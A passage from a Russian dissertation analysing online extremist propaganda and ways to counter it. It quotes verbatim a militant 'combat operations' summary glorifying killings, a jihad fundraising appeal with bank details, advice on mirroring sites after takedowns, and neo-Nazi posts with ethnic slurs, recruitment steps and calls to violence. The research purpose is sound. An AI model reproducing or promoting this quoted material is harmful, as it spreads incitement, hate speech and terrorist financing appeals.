Рисунок 3. Главная страница интернет-ресурса «UmmaNews.com» В первую очередь, необходимо отметить, что сайт имеет свой уникальный логотип, выполненный на довольно высоком художественном уровне. На сайте реализована система поиска информации. Результаты поиска информации по запросу «Джихад» представлены на рисунке 4. Рисунок 4. Результаты поиска информации по запросу «Джихад»

Примечательно, что реализована система уточненного поиска, то есть посетитель сайта может искать отдельно, новости, материалы комментарии и т.д. При дальнейшем наполнении сайта, когда информационное наполнение сайта станет более объемным, это позволит пользователя быстрее находить нужную информацию. Сайт содержит следующие разделы:  Новости;  Трибуна;  Мнения;  Статьи; 

UmmaNewsTV;  Обратная связь;  О нас. Раздел «Новости» имеет ряд подразделов:  Умма (новости Исламского мира);  В мире (новости западного мира);  Кавказ (события на Кавказе);  Россия (События в центральных региона);  Афганистан-Пакистан;  Ирак-Сомали; 

Последние события;  Лента новостей. При этом по представленным данным территория Кавказа противопоставляется территории РФ. Проанализируем рубрику «Новости. Кавказ» за первую декаду августа 2011 года (таблица 3). Таблица 3. Новости, опубликованные в первой декаде августа 2011 г. в разделе «Новости. Кавказ» Заголовок новостей Дата публикации Кол-во просмотров на 11.08.11

ВИЛАЯТ КБК. Кафиры и муртады устраивают спектакль с обращением матерей моджахедов к своим сыновьям 08.08.2011 266 ИМАРАТ КАВКАЗ. В Дагестане ликвидированы 2 карателя, в КБК убит мусульманин 06.08.2011 433 ВИЛАЯТ ДАГЕСТАН. В Темир-Хан-Шуре подорван военный наряд 04.08.2011 524 ИМАРАТ КАВКАЗ. Обзор последних событий в ИК 03.08.2011 802

ВИЛАЯТ ДАГЕСТАН. После принятия евреем Ислама, его в 3-й раз похищают дагестанские каратели, выбивая под пытками показания 02.08.2011 1109 ВИЛАЯТ ДАГЕСТАН. В Раббаникалинском районе уничтожен командир взвода «МВД РФ» 02.08.2011 737 ВИЛАТ ДАГЕСТАН. Уничтожены 2 полицейских карателя 02.08.2011 382 ИМАРАТ КАВКАЗ. Сводка боевых операций моджахедов за месяц шаабан 1432 года по хиджре (2 июля — 1 августа 2011

г.) 01.08.2011 1206 ВИЛАЯТ НОХЧИЙЧОЬ. Джахили из чеченского муфтията заявили, что Рамадан наступит 2 августа 01.08.2011 916 Что касается заголовков новостей, то их думаю, не стоит комментировать. А вот количество просмотров довольно внушительно. Почти полторы тысячи просмотров так называемой «Сводка боевых операций моджахедов за месяц шаабан 1432 года по хиджре (2 июля — 1 августа 2011 г.)» Таблица 4.

Контент web-страницы «Сводка боевых операций моджахедов за месяц шаабан 1432 года по хиджре» ИМАРАТ КАВКАЗ. Сводка боевых операций моджахедов за месяц шаабан 1432 года по хиджре (2 июля — 1 августа 2011 г.) 01.08.2011 17:39 Вилаят Нохчийчоь: Количество всех проведённых моджахедами операций — 7 Количество крупных проведённых моджахедами операций — 1: — Ликвидация главаря шалинской ячейки банды «ППСМ ОВД», также уничтожена 1 марионетка, ранено — 7

Уничтожено марионеток — 8 Ранено марионеток — 20 Вилаят Галгайче: Количество всех проведённых моджахедами операций — 13; Количество крупных проведённых моджахедами операций — 3: 1) Обстрел и подрыв здания марионеточного Малгобекского районного «суда»; 2) Ликвидация главаря малгобекской ячейки «ОУР КМ

ОВД», старшего лейтенанта Мухамеда Бекбузарова, 1965 г.р также ранены 2 марионетки; 3) Операция Истишхада на блокпосте банды «ДПС» в селении Галашки Сунженского района. Уничтожено марионеток — 3 Ранено марионеток — 12 Шахидов (иншаа-Ллах) — 1 Вилаят Дагестан: Количество всех проведённых моджахедами операций — 41

Количество крупных проведённых моджахедами операций —10: 1) Обстрел колонны бандформирования «ВВ» в Кизлярском районе, уничтожен 1 кафир и ранено ещё 9; 2) Ликвидация одиозного врага Ислама Садику-ллаха Ахмедова в селении Советская Магарамкентского района; 3) Ликвидация замглаваря дагестанской ячейки банды «ОМОН МВД» Шамиля Муртузалиева; 4) Подрыв при помощи заминированного автомобиля городского отделения куфроохранителей

в городе Каспийске; 5) Засада моджахедов на разведгруппу кафиров из бандформирования «ВВ МВД» в Сулейман-Стальском районе, недалеко от села Испик; 6) Расстрел начальника отдела по обеспечению участия прокуроров в рассмотрении «судами» уголовных дел «прокуратуры Дагестана» Натальи Мамедкеримовой. 7) Подрыв автомобиля с главарём отдела Цунтинского района по борьбе с моджахедами

Имамутдинова, ранено 5 марионеток; 8) Расстрел кортежа главного борца с моджахедами, руководителя дагестанской ячейки банды «центр „Э“ ГУ МВД» в чине полковника Ахмеда Баталиева, 3 марионетки убиты. 9) Ликвидация главаря пресс-службы марионеточного «президента Дагестана» Магомедсалама Магомедова Гаруна Курбанова и его водителя; 10) Обстрел снайпером-моджахедом блокпоста «Аляска» банды «ДПС», ранена 1 марионетка.

Уничтожено марионеток — 21 Ранено марионеток — 24 Уничтожено кафиров — 1 Ранено кафиров — 12 Шахидов (иншаа-Ллах) — 8 Объединённый Вилаят КБК: Количество всех проведённых моджахедами операций — 6 Количество крупных проведённых моджахедами операций —3: 1) Уничтожение в Нарткале марионетки в чине майора полиции

Артура Тохова; 2) Уничтожение замглаваря урванской ячейки банды «ОВД» 39-летнего Амурбека Битохова в чине подполковника; 3) Уничтожение члена баксанской ячейки тербанды «ФСБ» в чине прапорщика Мурата Карачаева. Уничтожено марионеток — 4 Общая статистика Имарата Кавказ: Всего проведено операций — 67 Всего убито врагов Аллаха — 37 Всего ранено врагов

Аллаха — 68 Шахидов (иншаа-Ллах) — 9 Подобного рода сводок со стороны силовых структур практически нет, а, следовательно, и пользователи Интернет не способны оценить, насколько информация верна и достоверна. По данной сводке потери представлены в соотношении 1 к 4. На официальном сайте НАК публикуются лишь статьи СМИ. На сайте МВД статистка представлена крайне скупо.

Лишь в статистическом отчете «Состояние преступности - январь-июль 2011 года» присутствуют некоторые данные: «В январе - июле 2011 года зарегистрировано 411 преступлений террористического характера (+26,5%) и 388 преступлений экстремистской направленности (6,0%). На дорогах и трассах вне населенных пунктов совершено 95 разбойных нападений (24,6%), 202 грабежа (4,3%), выявлено 54 факта незаконного приобретения, передачи, сбыта, хранения, перевозки

или ношения оружия, боеприпасов, взрывчатых веществ и взрывных устройств (22,9%)». На официальном сайте ФСБ сводки отсутствуют. Отсутствие ежемесячных, объективных сводок не ведет к улучшению ситуации, а лишь дает дополнительные возможности для пропаганды подобными Интернет изданиями. Раздел «Новости. Россия» содержит материалы о негативных действиях граждан РФ и официальных структур в отношении Ислама. Примечательно, что наибольшей популярностью пользуются

новости с подобными заголовками (в течение первой недели новость просмотрели около двух тысяч раз): «АСТРАХАНЬ. Пьяные десантники напали с камнями на мечеть и были жестоко избиты мусульманами». Кроме этого, необходимо остановиться на разделе «Новости. Лента новостей». Количество новостей публикуемых в течение дня колеблется от 15 до 30. Косвенно, это характеризует заинтересованность администраторов сайта в его успешной работе.

Можно с уверенностью сказать, что сайт имеет постоянно действующий штат сотрудников, следовательно, постоянное финансирование. Разделы сайта «Трибуна» и «Мнения» во многом пересекаются, если первый раздел содержит выступления различных исламских лидеров, то второй в основном содержит перепечатки статей из различных исламских журналов. Причем название раздела «Мнения» вводит посетителей в заблуждение, поскольку никакого рода обсуждений в данном разделе не содержится.

Большой интерес представляет раздел «UmmaNewsTV», в котором на сегодняшний момент представлено около 40 видео обращений различной направленности, в том числе и таких известных личностей, как Усама Бен Ладен. Многие видео ролики выполнены на довольно высоком уровне. Немаловажно, что пользователю предоставляется право подписаться на новости сайт, которые будут приходить на его почтовый ящик. Что так же является грамотным решением, однажды подписавшись на рассылку, пользователь

будет получать новости постоянно. Причем реализованная на сайте технология RSS позволяет так же получать новости непосредственно на мобильный телефон. Также очень важно, что сайт имеет обратную связь с пользователями, т.е. каждые пользователь может оставить свое сообщение администраторам сайт. Причем для других пользователей данные сообщения будут скрыты. Теперь обратимся к проблеме наличия в сети Интернет различных форумов (Интернет-конференций).

Опасность здесь заключается в том, что для пропаганды не обязательно создавать свои форумы в Интернет, можно использовать любые Интернет-ресурсы свободного доступа. В том числе и те ресурсы, которые направлены на борьбу с исламистами, а так же любые региональные или тематические форумы. Кроме того, форум - это возможность получить конкретный ответ на свой вопрос, а также прекрасная возможность поделиться опытом. Для примера приведем отрывок из одного из тредов, с

форума сайта «Исламский дискуссионный портал» . Тред называется: «Информационный Джихад» (Таблица 5). Таблица 5. Тред «Информационный Джихад» caucaseby Ассаламу Алейкум! Неделю назад наш сайт был удален администрацией сервиса вордпресс, но разговор сейчас пойдет не об этом, так как сегодня удаляются сайты не только с бесплатных сервисов, но и, по запросу тагута, с платных хостингов тоже.

Предлагаю в данном форуме обсудить методы донесения информации. Итак, что мы имеем на данный момент: 1) Как правило, сайт удаляется не сразу, а после того, как станет посещаемым и популярным. 2) Основная проблема для администраторов удаленных ресурсов — это потерянные посетители, а уже потом материал. Так как материал скорее всего до читателя донесен и его можно найти на страницах других информ. ресурсов Имарата Кавказ.

Цель форума: Разработать такую схему, которая будет: 1) Бесплатной 2) Эффективной Что мы имеем на данный момент: Бесплатные сервисы как правило лучше защищены (личное мнение) от действий хакеров разных мастей, так как за безопасность в данном случае отвечает компания предоставившая вам площадку для сайта. При этом, нужно учитывать, что сайт чаще всего по запросу удаляет самая администрация сервиса.

Ваши предложения и схемы оставляйте в комментариях. И да поможет нам Аллах! **** caucaseby сказал В бесплатном сервисе вордпресс, на котором собственно и находится данный сайт, пресутствует экспорт базы данных (бесплатно). В базу входит только текст. (Записи и комментарии) Вывод, можно размножаться как раковая опухоль на теле сервиса вордпресс.

Задача, как сохранить посетителей — сторонний сервис. Схема будет предоставлена позже. **** caucaseby сказал **** Muslim Kavkaza сказал Июль 6, 2011 в 5:44 пп Ассаламу Алейкум ва РахматуЛлахи ва баракатуху братья и сёстра. Думаю ответ находится в самой теме «материал скорее всего до читателя донесен и его можно найти на

страницах других информ. ресурсов Имарата Кавказ.» Просто после удаления веб сайта, нужно что бы другие инф.ресурсы ИК коротко оповестили об этом и дали ссылку на новый сайт. а так же можно писать в коментариях к новым статья, лична я нашёл этот обновлённый сайт из ссылки с комментариев. Думаю большой проблемы собрать тех постаянных посетителей сюда, не будет.

Гораздо сложнее распрастронять информацию среди людей неосведомлённых что вообше есть ресурсы ИК. Так же замечаю огромное каличество прекрасных статей,очень грамотных, отвечаюших на многие вопросы, эти статьи разом выставляются на всех инф. рес. ИК и через неделю их уже не видно так как место их занимает другие и т.д. Возможно нужно иногда возврашатся к хорошим статьям которые уже были написаны и выставлены когдато, как напоминание, и даже пометить в загаловке что это напоминание или повтор. а

так же было бы неплохо озвучить т.е. прочитать и сделать audio-book полезных тем и статей, что бы распростронять и в аудио формате. ИншааЛлах работы много, если Аллах нас излечит от лени и даст сил и времени! **** Этот тред является типичным инсценированным тредом, где автор ставит вопрос и сам на него отвечает. Кроме того весь тред представляет собой инструкцию (рекомендацию), о том как нужно действовать. Особо следует обратить внимание на схему клонирования (зеркалирования) сайта.

Хотелось бы так же привести пример чисто информационного треда (Таблица 6). Таблица 6. Информационный тред Новичок АССАЛАМУ АЛАЙКУМ ВА РАХМАТУЛЛАХ!И ВА БАРАКАТУХ!У ВСЕМ МУСУЛЬМАНИНАМ СО ВСЕГО МИРА Аллах сказал (перевод смысла): « О те, которые уверовали! Почему, когда вас призывают выступить в поход на пути

Аллаха, вы тяжело припадаете к земле? Неужели вы довольствуетесь мирской жизнью больше, чем Последней жизнью? Но преходящее удовольствие мирской жизни по сравнению с Последней жизнью ничтожно. Если вы не выступите в поход, то Он подвергнет вас мучительным страданиям и заменит вас другим народом. Вы ничем не навредите Ему, ибо Аллах способен на всякую вещь.» (9:38-39) дорогие братья и сёстры мусульмани

В Австри инша АЛЛАх1 ежемесячно собирают деньги и высылают через надежных канальщиков до наших братьев и сестрер по вере которые воюют на пути АЛлах1а тем которым пытаются установить закон АЛлах1а и убрать таг1ут и не давно наш брат по вере открыл отдельный шет для того что бы собрать денег по интеренету и добавить эту сумму к остальной сумме мы просим тех кто может помочь о помощи так как наши братья и сестры очень нуждаются в помоши ведь поистине мы должны поклонятся

АЛЛах1у и делать ради него джихад «Сражайтесь с ними, пока не исчезнет искушение и пока религия целиком не будет посвящена Аллаху…» (Аль-Бакара, 193) если из нас каждый хотя бы положит в месяц по 5 евро, мы от этого не чего не потеряем, на оборот преобретем инша АЛЛах1 милость и прошение от всевышнего Аллах1а. Инша АЛлах1 мы получим от всевшнего в десетекратном размере обратно

Они радуются милости Аллаха и щедрости и тому, что Аллах не теряет награды верующих, которые откликнулись на призыв Аллаха и Посланника после того, как им нанесли ранение. Тем из них, которые вершили добро и были богобоязненны, уготована великая награда. Люди сказали им: «Народ собрался против вас. Побойтесь же их».

Однако это лишь приумножило их веру, и они сказали: «Нам достаточно Аллаха, и как прекрасен этот Покровитель и Хранитель!» Они вернулись с милостью от Аллаха и щедротами. Зло не коснулось их, и они последовали за довольством Аллаха. Воистину, Аллах обладает великой милостью». (Али Имран 3:169-174) ведь мусульмани должны делать джихад а если нету такой возможнсти как на пример джихад

с оружием тогда мы должны делать джихад имуществом помощью и в крайнем случае молитвами к АЛах1у помочь им Наверное кто то засомневается в честности наших целей Но ВаЛЛах1и БиЛЛах1и ТаЛЛах1и у нас нету намерений злоупотребить этим и взять от этой суммы даже единного цента по воле всевышнего вся сумма денег будет отправлена нашим братьям и сестрам муджахедам Аль-хамдюЛЛилах1 мы понимаем на сколько это грешно и инша

АЛЛах1 воздерживаемся от грехов Первым из тех, над кем будет произнесен приговор в День Воскресения, будет тот, кто умер мученической смертью. Он предстанет пред Аллахом, и Он даст знать ему о Своих дарах, и он признает их. Всевышний скажет: "И как ты распорядился ими?" И тот ответит: "

Я сражался за Тебя, пока не умер мученической смертью". Но скажет Всевышний: "Ты лжешь. Ты действительно сражался, но лишь для того, чтобы о тебе могли сказать: он храбр и отважен. Так о тебе и говорили". И потом по предписанию от Господа протащать его лицом вниз к Огненному Аду и сбросят туда. вот данные эти данные на котором надо положитеь денег

БисмиЛЛЯх! если даже отпровляетте тогда вам будет выгоднее через ваш банк 1 MUHID JAKUBOV. Банк SPARKASSE конто номер-03100054943 iban-20604 «Господь наш! Пролей на нас терпение, укрепи наши топы и помоги нам одержать победу над неверующими людьми»." (Аль-Бакара 2:250) если у вас есть вопросы пишите на al.islam@mail.ru за раннее баракАЛЛах1у хайран за вознагродит нас всевышний за наши благие деяние все права принадлежат всевышнему

АЛлах1u AЛЛаху Акбар Необходимо отметить, что данный тред был опубликован 26.10.2008, то есть в течение трех лет данный призыв о сборе средств находится в сети Интернет, остается секретом, какое количество средств было собрано. Но, с практической точки зрения, наиболее опасными являются диспуты, в которых, с одной стороны, участвуют убежденные сторонники, а, с другой, люди пытающиеся найти свой путь или единомышленников.

Особый интерес представляют треды одного из форумов РНЕ (Таблица 7). Данная организация никогда не признавалась Верховным судом РФ экстремистской, но идеи, пропагандируемые этой организацией близки к таковым , поэтому информация передается в открытой форме, а не через личные сообщения. Таблица 7. Тред форума РНЕ letchik8 2010-09-24 13:34:22

Приветствую всех соратников! Хочу изложить свою точку зрения на то что сейчас происходит в нашей Отчизне. Такое складывается мнение,что у нас одни жиды в стране остались жить.Всем плевать на то,что происходит вокруг!Черножопые мрази вместе с жидами заполонили Русь топчут ее,ставят здесь свои порядки,в общем чувствуют себя полновластными хозяевами. А где же истинные патриоты своей страны,своего народа

Нас раз два и обсчёлся,да и то пытаются сгноить,задушить,уничтожить! Неужели наши русские люди не видят всего происходящего Расскажу кратко свою биографию. Я родился в Грозном,в городе,который строили мои предки,а потом ёбаные чичи,звери спустились со своих гор и начался геноцид русского народа,мы стали чужими в своём родном городе,нас называли русскими свиньями,в 93-ем переехали в

Ставропольский край и здесь мы стали чужими,стали обзывать чеченами хотя мы их возненавидели Затем служба в армии,и там наш народ долбят как хотят. Так давайте же объединимся и ударим по этим мразям все вместе, не смотря откуда мы,ведь мы русские,с нами Бог и в этом наша сила Спасибо! И могли бы подсказать адрес организации в Ставрополе и Ratnik 2010-09-24 22:09:51 Администратор

В социальной сети “ВКонтакте” есть группа участников движения РНЕ по Ставропольскому краю - http://vkontakte.ru/club8405043 . Зарегистрируйтесь там, а затем свяжитесь с её администраторами. Там скоординируют. Это будет значительно быстрее, чем если через Москву. Если по каким-то причинам администраторы группы на связь не выйдут, то начинайте работать самостоятельно.

В движeниe "Aлeкcaндp Бapкaшoв" (OOПД PНE) мoжeт вcтyпить кaждый, кoмy нe бeзpaзличнa cyдьбa Poccии и ктo вepит A.П. Бapкaшoвy. Пepвoe, чтo вaм нeoбxoдимo cдeлaть - этo изyчить вce нaши мaтepиaлы, paзмeщeнныe нa caйтe www.barkashov.com. Вoзникшиe y вac вoпpocы o нaшeй идeoлoгии, цeляx и зaдaчax движeния вы мoжeтe выяcнить, пoзвoнив тeлeфoнy +7 (916) 095-59-43 или, нaпиcaв пиcьмo нa нaшy элeктpoннyю пoчтy info@barkashov.org . Вeдя пpoпaгaндy пo мecтy житeльcтвa, вы дoлжны:

1. Coбpaть ядpo бyдyщeгo oтдeлeния из нaибoлee aктивныx и цeлeycтpeмлeнныx cтopoнникoв. 2. Cтpeмитьcя пocтoяннo, pacшиpять пpoпaгaндиcтcкyю дeятeльнocть, пpивлeкaя нoвыx и нoвыx людeй. 3. Мaтepиaлы для pacпpocтpaнeния нeoбxoдимo бpaть c нaшeгo caйтa и, нe дoбaвляя в ниx ничeгo oт ceбя, тиpaжиpoвaть и pacпpocтpaнять cвoими cилaми. 4. O пpoвoдимoй paбoтe, чиcлe cтopoнникoв и cпoдвижникoв peгyляpнo (нe peжe oднoгo paзa в мecяц) дoклaдывaть в цeнтp, пo элeктpoннoй пoчтe regions@barkashov.

org Изучите наши материалы http://rne-center.org/rp/47/47_10.html Мистический Национализм или Последний Крестовый Поход http://rne-center.org/abc/a_20.html О национальном происхождении Иисуса Христа http://rne-center.org/rp/47/47_3.html Новый Мировой Порядок - Россия - Апокалипсис http://rne-center.org/rp/48/48_8.html Священный Символ http://rne-center.org/rp/48/48_5.html

Пророчества Православных Святых о будущем России и мира http://www.barkashov.com/ http://www.rne-center.org/ официальные сайты http://www.rne63.com/ краткая история РНЕ http://www.youtube.com/watch?v=FGp1TH2qs Dw Миссия Русского Народа Баркашовец 2010-09-27 16:48:45 Лучше в Минеральные воды обращайтесь вот к этому человеку http://vkontakte.ru/id67650989 ,он вас лучше скоординирует.

«Если Бога в сердце нет, значит, это место будет заполнено бесами» Еще одна не маловажная функция форумов и социальных сетей, ярко проявившаяся в ходе декабрьских событий 2010 года – это координирующая действия - способность собрать десятки тысяч человек для проведения акций в течение нескольких дней (таблица 8). Таблица 8. Треды РНЕ *** Владик 2Ville 14 Декабря 2010, 15:02 ЗАВТРА

В 16.40 около стадиона СКА Собираемся, Русские, не будьте безразличны друг к другу Район Чкаловского предположительно на данный момент! Распространите инфу! все кто из Ростова - вперёд! *** 13.12.2010, 21:07 джимурад Гаджиев БРАТЬЯ НИКТО 15 НЕ СОБИРАЕТСЯ,И КТО ДАЖЕ ДУМАЕТ СОБРАТЬСЯ ОТГОВОРИТЕ ВСЕХ,МЫ СЕГОДНЯ БРАТЬЯ СОБРАЛИСЬ

БЫЛО МНОГО НАС СОБИРАЕМСЯ В СУББОТУ 18.12.2010 НА ПРОСПЕКТЕ МИРА У ОЛИМПИЙСКОГО 14.00 ТАМ ВСЕ БУДУТ ВЕСЬ КАВКАЗ,ТАМ РЕШИМ С БРАТЬЯМИ,ЧТО ДЕЛАТЬ,СТАРШИЕ ЕСЛИ НАДО ВООРУЖАТ,АЛЛАХ ГОВОРИТ БУДЬТЕ ЕДИНЫ И УМОМ И ДУШОЙ *** +++ ВНИМАНИЕ! Информация с кавказского форума - некий Мурад Алиев собирает людей, хотят бить и взрывать русских.

Время их сбора - 15.12.10 18:00 место - г.Москва, Европейский подписались уже более тысячи человек Срочно передать всем! Распространяйте! Всем быть 15 декабря у ТРЦ Европейский! Хера два черные пройдут! Перебьём гадов! В 18-00 они собираются, будем их встречать раньше! Это наш день, это наша земля! Таким образом, Интернет в настоящее время является стратегическим инструментом

при распространении идей экстремистской и террористической направленности. Это объясняется лавинообразным увеличением количества его пользователей (соответственно, потенциальной аудитории воздействия) и их географической рассредоточенности, а также доступностью технологий и инструментов создания ресурсов, осуществляющих позиционирование экстремистских и террористических организаций. Это, в свою очередь, требует от органов государственной власти разработки соответствующих мер по противодействию

распространения идей экстремизма и терроризма в национальных сегментах глобальной сети. 2. ИНСТРУМЕНТАЛЬНЫЕ СРЕДСТВА ПРОТИВОДЕЙСТВИЯ РАСПРОСТРАНЕНИЮ ИНФОРМАЦИИ ЭКСТРЕМИСТКОЙ И ТЕРРОРИСТИЧЕСКОЙ НАПРАВЛЕННОСТИ В СЕТИ ИНТЕРНЕТ 2.1. Методы информационного противодействия идеологии экстремизма и терроризма в сети Интернет Современные методы противодействия распространению информации экстремистской и террористической

направленности можно разделить на две основные группы: информационные и технические. В статье Коломийцева К.В. «Современные информационно-психологические методы противодействия распространения терроризма» опубликованного впервые на сайте «Наука и образование против террора» есть следующее определение: «Информационно-психологическое воздействие происходит благодаря вмешательству в подсознание с целью формирования установок в массовом психическом сознании и, собственно, направленности самого взгляда

сознания масс». Следует заметить, что из подсознания в сознание подобные процессы могут или переходить, или не переходить, то есть иметь скрытые формы управления психикой, управления без фактического осознания индивидом себя как частью толпы, массы, тех процессов, которые фактически руководят как его поведением, так и, собственно, появлением у него тех или иных взглядов, мнений, суждений, какого-либо подхода в видении ситуации. На наш взгляд, данное определение, рассматривая в контексте данного исследования,

следует несколько видоизменить. Так, целью информационно-психологического воздействия на подсознание отдельного индивидуума является формирования установок в его психическом сознании и формирование у него тех или иных взглядов, мнений, суждений, какого-либо подхода в видении ситуации. При этом следует заметить, что из подсознания в сознание подобные процессы могут или переходить, или не переходить в зависимости от общего эмоционального состояния индивидуума.

Не в коем случае не умоляем определение, данное К.В. Коломийцевым, считаем его абсолютно верным с точки зрения средств массовой информации, однако считаем его не вполне приемлемым в отношении сети Интернет по следующим причинам:  работа в сети Интернет по большому счету является «индивидуальной гонкой» каждого пользователя;  хотя ежедневная посещаемость многих сайтов в сети Интернет исчисляется тысячами пользователей, процентное

соотношение этих посещений к общей численности той или иной, социальной группы ничтожно, следовательно, пока еще нельзя говорить о массовом сознании в данном вопросе. На наш взгляд, именно информационно-психологическое воздействие на подсознание людей является основной задачей в информационном противодействии. Сможет ли государство в одиночку бороться с экстремистскими и террористическими проявлениями в сети Интернет? На наш взгляд, нет.

Если только не взять и не выключить все разом. В первую очередь государство должно сделать своих граждан реальными союзниками в данном вопросе. Примером для такого сотрудничества может послужить Интернет-проект Фонда «Дружественный Рунет», учрежденного Центром Анализа Интернет Ресурсов при активной поддержке ведущих участников интернет-индустрии, таких как МТС, «Лаборатория Касперского» и др . На данном проекте создана «ГОРЯЧАЯ

ЛИНИЯ» по приёму сообщений о противоправном контенте в сети Интернет . При посещении сайта пользователь видит соответствующий баннер (рисунок 5). Рисунок 5. Баннер «Горячей линии» При заходе на страничку «Горячая линия» пользователь должен заполнить соответствующую форму, причем при желании он может остаться анонимным (рисунок 6). Рисунок 6. Форма, которую необходимо заполнить на сайте «Горячая линия»

Не совсем понятно, какие на сегодняшний день рычаги воздействия имеют создатели данного проекта, но идея абсолютно правильна. Необходимо отметить, что пользователь может остаться анонимным, но может запросить ответ на свой запрос. Если пользователь запросит ответ и получит его с конкретными результатами, то можно с большой долею вероятности утверждать, что он и впредь будет сотрудничать с данным проектом. На сегодняшний момент ни на одном из сайтов силовых структур это не реализовано.

На сайте НАК в разделе «РЕКОМЕНДАЦИИ ГРАЖДАНАМ ПО ДЕЙСТВИЯМ ПРИ УГРОЗЕ СОВЕРШЕНИЯ ТЕРРОРИСТИЧЕСКОГО АКТА» есть следующая ссылка: «Случайно узнав о готовящемся теракте, немедленно сообщите об этом в правоохранительные органы. Если вам стало известно о готовящемся или совершенном преступлении, немедленно сообщите об этом в органы ФСБ или МВД » Однако, на момент написания диссертационного исследования (10.08.2011) ссылка не работает.

На официальном сайте ФСБ, на центральной странице гражданам представляется следующая возможность: «Если вы обладаете любой информацией о совершенных или готовящихся терактах, просьба обращаться в ФСБ России по телефонам: (495) 224-22-22. Или отправьте нам электронное сообщение по адресу: fsb@fsb.ru». То есть гражданин лишь условно может остаться анонимным. Сайт Министерства Внутренних дел оставляет пользователям возможность позвонить «02».

Следующим немаловажным аспектом является создание сайтов с соответствующими контентами. В настоящее время данных интернет-ресурсов в российском сегменте сети интернет крайне недостаточно, что во многом объясняется незначительным финансированием этих проектов. Возможно, и не стоит создавать огромное множество сайтов, а сконцентрироваться на создании действительно масштабных Интернет – проектов, направленных на то или иное явление.

Которые будут иметь постоянно действующую структуру и хорошее финансирование. При правильной политике и должной популяризации данных сайтов можно достигнуть очень хороших результатов. Однако в последнее время можно наблюдать абсолютно противоположные результаты. Примером это может служить проект «Россия Антитеррор» (рисунок 7). Рисунок 7. Баннер сайта «Россия Антитеррор» Ссылки на данный проект есть на многих информационных сайтах,

однако, зайдя по данным ссылкам, мы увидим следующее (рисунок 8). Рисунок 8. Сообщение об окончании регистрации домена www.antiterror.ru В настоящее время данные о возможном восстановлении работоспособности и функциональности данного инернет-ресурса отсутствуют. На наш взгляд, вновь создаваемые сайты в обязательном порядке должны содержат все атрибуты современного Интернет – портала: 

Ленту новостей, с возможностью подписки на новости и возможностью пользователей комментировать новости;  Электронные библиотеки, в том числе и аудио видео материалы;  Форумы;  Предоставлять пользователям дополнительные ресурсы: файлообменники, отправка СМС, почту и т.д. Предоставление пользователям дополнительных ресурсов, безусловно, повлияет на рейтинг сайта и, следовательно, на его посещаемость. В качестве положительного примера пропаганды следует рассмотреть

несколько сайтов, которые действуют в составе единого интернет-проекта «К Исламу. Знания прежде слов и дел» (Казахстан):  Саляф Портал (IP 67.222.32.58 – США) http://toislam.ws/  Саляф Форум (IP 62.173.138.70 – РФ) http://salaf-forum.ru/  Анти-террор (IP 65.254.248.147 – США) http://anti-irhab.ru

В контексте достижения цели диссертационного исследования интерес представляет проект - «Анти-террор» (рисунок 9). Рисунок 9. Рисунок с главной страницы сайта «Анти-террор». Терроризм действительно не имеет религии и национальности. Сайт содержит раздел «Литература», в котором можно скачать книги и статьи, явившиеся основой большинства статей ресурса «Анти-террор». Многие материалы содержат ответы

Исламских ученых на вопросы, волнующие мусульман. Так, в качестве примера, следует привести несколько высказываний (с ссылками и пояснениями указанными в Фатауа (Фатва)) из Фатауа исламских ученых относительно терроризма и террористических актов (таблица 9). Таблица 9. Иллюстрация контента интернет-ресурса «Антиреррор» *** Шейх ‘Абдуль-‘Азиз ар-Раджихи о вреде самоподрывов: «Подрывы – это нечестие и преступление!

Нечестие и преступление! А тот, кто подрывает себя, да упасет нас от этого Аллах, взрывая дома и убивая невинных душ, совершает множество преступлений: Первое его преступление – он убивает самого себя, что является величайшим грехом, ввергающим совершившего это в Огонь! Пророк (да благословит его Аллах и приветствует) сказал: «Тот, кто убил себя чем-либо, будет подвергаться мучением этим в Судный день!» аль-

Бухари и Муслим. Второе преступление – он убивает верующих мусульман не по праву. Это также из числа величайших грехов, о котором Аллах сказал: «Если же кто-либо убьет верующего преднамеренно, то возмездием ему будет Ад, в котором он пребудет вечно. Аллах разгневается на него, проклянет его и приготовит ему великие мучения» (Женщины 4: 93). Третье преступление – убийство неверных, находящихся в договоре.

Посланник Аллаха (да благословит его Аллах и приветствует) сказал: «Кто убьет неверного, с которым заключен договор, не почувствует аромата Рая!» аль-Бухари и Муслим. И это относится даже к тому неверному, который сражается с мусульманами, если он зашел за землю мусульман под гарантией безопасности! Четвертое его преступление – это уничтожение и порча имущества. Эти здания и постройки, которые они взрывают, сколько миллионов на них ушло

Это ведь большие деньги! Пятое преступление – распространение нечестия на земле, а Всевышний Аллах сказал: «Воистину, те, которые сражаются против Аллаха и Его посланника и стремятся сотворить на земле нечестие, в воздаяние должны быть убиты или распяты, или у них должны быть отсечены накрест руки и ноги, или они должны быть изгнаны из страны. Это будет для них позором в этом мире, а в Последней жизни для них уготованы великие мучения» (Трапеза 5: 33).

Шестое преступление – наведение страха на верующих. Седьмое преступление – нарушение безопасности. Восьмое преступление – эти поступки дают повод нечестивцам и лицемерам говорить плохо о праведных мусульманах. Так что же желает мусульманин таким поступком? Он желает джихада на пути Аллаха Так говорят некоторые. Но разве это джихад Какой это джихад

Разве убийство собственной души – джихад, даже если он взорвал себя среди неверных? Это не джихад!» *** Шейх ‘Абдуль-‘Азиз Али Шейх о терактах 11 сентября в США «Хвала Аллаху, Господу миров, благословения и мир достойнейшему из пророков и посланников, его семейству и всем его сподвижникам. К нам поступает огромное количество вопросов относительно того, что произошло 11 сентября в США. Люди спрашивают, как относится к этому шариат и одобряет ли подобные действия исламская

религия? Обратившись за помощью к Аллаху, я скажу: Аллах, Который даровал людям Ислам, оказал им милость. Он сделал воплощением этой религии совершенный шариат, годный для любого места и времени, способный изменять к лучшему положение отдельных людей и сообществ, призывающий к праведности, справедливости и благотворительности и побуждающий к отказу от многобожия, зла, несправедливости и вероломства.

То, что Аллах направил нас к этой религии и сделал нас ее последователями и поборниками, стало одним из Его великих благодеяний, ибо мусульманин, подчиняющийся установлениям шариата, следующий сунне посланника Аллаха (да благословит его Аллах и приветствует) и ни в чем не отклоняющийся от этой религии, останется невредимым в обоих мирах. Трагедия в США, повлекшая за собой гибель тысяч людей, несомненно, относится к числу таких дел, которые не одобряются шариатом, не имеют никакого отношения к

